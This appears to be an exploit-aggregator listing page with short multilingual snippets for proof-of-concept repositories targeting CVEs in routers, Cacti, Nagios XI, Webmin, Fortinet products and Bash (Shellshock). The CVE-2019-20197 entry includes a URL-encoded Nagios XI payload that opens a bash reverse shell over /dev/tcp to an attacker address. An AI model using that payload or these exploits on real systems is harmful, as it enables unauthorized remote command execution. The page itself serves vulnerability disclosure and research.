Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Privilege escalation vulnerability on MitraStar routers Device: Mitrastar GPT-2541GNAC-N1 Firmware: BRg3.5100VNZ0b33 not tested in other version Exploit: Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh int...

CVE-2020-12124

Anatomía de un Exploit de IoT, del Práctico al RCE originalmente en https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce por David E. Baker, publicado el 1 de junio de 2023 Prefacio Este estudio trata sobre el firmware del router Gigabit inalámbrico...

FORTIWEB_CVE-2025-64446-58034

Simulación de explotación de FortiWeb CVE-2025-64446 & CVE-2025-58034 Nota: Este documento es solo para fines educativos y de investigación de seguridad. No lo utilice para atacar sistemas sin autorización. 1. Resumen FortiWeb es un dispositivo Web Application Firewall WAF utilizado para proteger...

CVE-2022-46169

CVE-2022-46169 POC Este es un script de Prueba de Concepto POC para la vulnerabilidad CVE-2022-46169 que afecta a Cacti versión 1.2.22. Descripción La vulnerabilidad CVE-2022-46169 permite una inyección de comandos sin autenticación en versiones de Cacti hasta la 1.2.22, logrando así una ejecució...

linux_mint_poc

Linux Mint 18.3-19.1 'yelp' command injection bug Root cause The URI handlers help://, ghelp://, and man:// are defined in the file /usr/share/applications/yelp.desktop which will execute /usr/local/bin/yelp via Exec=yelp %u whenever one of those URI handlers is invoked. The file...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Bugs reported to Nagios XI CVE-2021-25296 Code Location /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Code snippet root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= "...

CVE-2018-19518

CVE-2018-19518 último informe aquí: https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF Uso ejecutar la aplicación root@kitploit: docker-compose up -d ejemplo de uso normal para la aplicación web. imap : webmail.grenoble-inp.org user :...

dnsobserver

DNSObserver Un práctico servicio DNS escrito en Go para ayudar en la detección de varios tipos de vulnerabilidades ciegas. Monitorea el servidor de un pentester en busca de interacciones DNS fuera de banda y envía notificaciones con los detalles de la solicitud recibida a través de Slack...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM Injeção de Comandos Não Autenticada Exploit de prova de conceito para executar comandos cegamente como root em appliances FortiSIEM vulneráveis Postagem do Blog Causa raiz e indicadores de comprometimento aqui:...

CVE-2023-33381-MitraStar-GPT-2741GNAC

CVE-2023-33381-MitraStar-GPT-2741GNAC CVE-2023-33381: Injeção de comando do sistema operacional no MitraStar GPT-2741GNAC Device: GPT-2741GNAC Firmware Version: ARg5.8110WVN0b72 Descrição da Vulnerabilidade: Ao fazer login via SSH, notei imediatamente o conjunto limitado de comandos e opções...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Autenticado Exploit para a vulnerabilidade de Remote Code Execution no Webmin versões anteriores a 1.997, através do módulo Software Package Updates. Como funciona? O módulo Software Package Updates do Webmin não sanitiza corretamente o parâmetro u antes de...

CVE-2024-37770

CVE-2024-37770 descrizione È stato scoperto che 14Finger v1.1 contiene una vulnerabilità di esecuzione remota di comandi RCE nella funzione fingerprint. Questa vulnerabilità consente agli attacker di eseguire comandi arbitrari tramite un payload appositamente predisposto. Vettore di attacco...

Shellshock_vuln_Exploit

🚨 استغلال Shellshock RCE CVE-2014-6271 هذا استغلال Exploit بلغة بايثون لـ ثغرة Shellshock CVE-2014-6271، والتي تؤثر على GNU Bash. يستهدف الاستغلال نصوص CGI على خوادم الويب الضعيفة وينشئ صدفة عكسية reverse shell إلى جهاز المهاجم. معرف CVE CVE-2014-6271 إخلاء مسؤولية هذه الأداة مخصصة فقط للأغراض...

CVE-2019-20197

CVE-2019-20197 Nagios XI vulnerabilità di esecuzione remota di comandi = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

CVE-2024-46658

CVE-2024-46658 Syrotech SY-GOPON-8OLT-L3 v1.6.0240629 Vulnerabilità di Iniezione di Comandi Utilizzo 1- Modifica l'URL nello script. 2- Modifica il valore CookieLogin nello script. 3- Esegui lo script, ti permetterà di eseguire comandi. Dettagli della Vulnerabilità GET...

ble_norton_core

Injection de commande PoC dans le service BLE du routeur WiFi sécurisé Norton Core CVE-2018-5234 Pour plus d'informations, lisez paper. Pour démontrer l'exploitation, nous utiliserons : OS GNU/Linux ; Adaptateur Bluetooth USB ; Utilitaire BlueZ pour tester la connexion Bluetooth. Afin d'utiliser ...

CVE-2024-24576-PoC-Python

CVE-2024-24576-Poc-Python Un rapido POC per la vulnerabilità divulgata qui https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ Dopo aver eseguito lo script, ti verrà chiesto di passare un arg al file BAT. Nello screenshot puoi vedere che aggiungendo " l'API...

cve-2022-33891

CVE-2022-33891 Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell Ein Python-POC zur Ausnutzung der Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell. Ich habe einige andere POCs gesehen, aber sie sahen sehr verdächtig aus. Dieser ist sauber und einfach. Ich hab...

CVE-2024-51567

CVE-2024-51567 Exploit स्क्रिप्ट CVE-2024-51567 एक Python प्रूफ-ऑफ-कॉन्सेप्ट PoC एक्सप्लॉइट स्क्रिप्ट है जो CVE-2024-51567 के लिए है, जो CyberPanel v2.3.6 को प्रभावित करने वाली एक गंभीर कमांड इंजेक्शन भेद्यता है। upgrademysqlstatus एंडपॉइंट में पाई गई यह भेद्यता, CSRF सुरक्षा को बायपास करके और...

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Esecuzione-di-Comandi-Remoti ZeroShell 3.9.0 Iniezione di Comandi Remoti Zeroshell 3.9.0 è soggetto a una vulnerabilità di esecuzione di comandi remoti. Nello specifico, il problema si verifica perché l'applicazione web gestisce in modo errato alcuni parametri HTTP. Un utente...